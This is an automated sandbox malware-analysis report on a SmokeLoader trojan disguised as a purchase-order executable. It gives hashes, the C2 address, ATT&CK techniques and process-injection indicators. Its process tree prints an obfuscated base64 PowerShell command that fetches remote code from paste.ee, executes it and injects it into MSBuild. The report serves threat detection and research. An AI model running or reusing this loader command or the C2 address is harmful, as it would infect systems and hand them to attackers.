smokeloader | 966c1a5412af27dde07c13cbb17b743eec085d16aeac60849af71d376d1452ac

General

Target

Purchase Order 21PTAES2110-2.pif.exe
Size

173KB
MD5

12f34f9b5d3817801893ee1aad6a5ef3
SHA1

d0e8e93451aaea3571419169e5fd73a5f2a31cc2
SHA256

966c1a5412af27dde07c13cbb17b743eec085d16aeac60849af71d376d1452ac
SHA512

5fd48762f0c164f3a38530cf98655d3151ccac4c3d7abad4e02285bb8946817356b10d1e30c052d6f0012a85ed8257f413aaff3397877d3dc36b9bb7f8a2d606

Score

10^/10

trojan backdoor smokeloader

Malware Config

Extracted

Family

smokeloader

Version

2018

C2

http://5by80.com/1/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Blacklisted process makes network request 1 IoCs

flow	pid	Process
7	1888	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1888 set thread context of 2020	1888	powershell.exe	26

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1888	powershell.exe
1888	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2020	MSBuild.exe
2020	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1516	Purchase Order 21PTAES2110-2.pif.exe
Token: SeDebugPrivilege	1888	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1516 wrote to memory of 1888	1516	Purchase Order 21PTAES2110-2.pif.exe	25
PID 1516 wrote to memory of 1888	1516	Purchase Order 21PTAES2110-2.pif.exe	25
PID 1516 wrote to memory of 1888	1516	Purchase Order 21PTAES2110-2.pif.exe	25
PID 1516 wrote to memory of 1888	1516	Purchase Order 21PTAES2110-2.pif.exe	25
PID 1888 wrote to memory of 2020	1888	powershell.exe	26
PID 1888 wrote to memory of 2020	1888	powershell.exe	26
PID 1888 wrote to memory of 2020	1888	powershell.exe	26
PID 1888 wrote to memory of 2020	1888	powershell.exe	26
PID 1888 wrote to memory of 2020	1888	powershell.exe	26
PID 1888 wrote to memory of 2020	1888	powershell.exe	26
PID 1888 wrote to memory of 2020	1888	powershell.exe	26

C:\Users\Admin\AppData\Local\Temp\Purchase Order 21PTAES2110-2.pif.exe
"C:\Users\Admin\AppData\Local\Temp\Purchase Order 21PTAES2110-2.pif.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AVwBhAHkAdQBXACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBZAFQAaQBGAFIAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
  2⤵
  - Blacklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Maps connected drives based on registry
    - Suspicious behavior: MapViewOfSection
    PID:2020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1236-41-0x0000000002210000-0x0000000002211000-memory.dmp

Filesize
4KB

Download
memory/1516-9-0x0000000002160000-0x0000000002161000-memory.dmp

Filesize
4KB

Download
memory/1516-5-0x00000000055C0000-0x00000000055C1000-memory.dmp

Filesize
4KB

Download
memory/1516-60-0x0000000007730000-0x0000000007731000-memory.dmp

Filesize
4KB

Download
memory/1516-59-0x00000000076A0000-0x00000000076A1000-memory.dmp

Filesize
4KB

Download
memory/1516-51-0x0000000006460000-0x0000000006461000-memory.dmp

Filesize
4KB

Download
memory/1516-1-0x00000000000C0000-0x00000000000C1000-memory.dmp

Filesize
4KB

Download
memory/1516-3-0x0000000005D10000-0x0000000005D11000-memory.dmp

Filesize
4KB

Download
memory/1516-4-0x00000000006C0000-0x00000000006C1000-memory.dmp

Filesize
4KB

Download
memory/1516-6-0x0000000004960000-0x0000000004961000-memory.dmp

Filesize
4KB

Download
memory/1516-7-0x0000000005160000-0x0000000005161000-memory.dmp

Filesize
4KB

Download
memory/1516-11-0x0000000004210000-0x0000000004211000-memory.dmp

Filesize
4KB

Download
memory/1516-10-0x0000000004A50000-0x0000000004A51000-memory.dmp

Filesize
4KB

Download
memory/1516-0-0x0000000074820000-0x0000000074F0E000-memory.dmp

Filesize
6.9MB

Download
memory/1516-8-0x00000000049A0000-0x00000000049A1000-memory.dmp

Filesize
4KB

Download
memory/1888-35-0x0000000001D10000-0x0000000001D1A000-memory.dmp

Filesize
40KB

Download
memory/1888-33-0x0000000006310000-0x0000000006311000-memory.dmp

Filesize
4KB

Download
memory/1888-25-0x0000000005790000-0x0000000005791000-memory.dmp

Filesize
4KB

Download
memory/1888-20-0x00000000056E0000-0x00000000056E1000-memory.dmp

Filesize
4KB

Download
memory/1888-13-0x0000000074820000-0x0000000074F0E000-memory.dmp

Filesize
6.9MB

Download
memory/2020-39-0x00000000000C0000-0x00000000000D5000-memory.dmp

Filesize
84KB

Download
memory/2020-37-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download

Analysis

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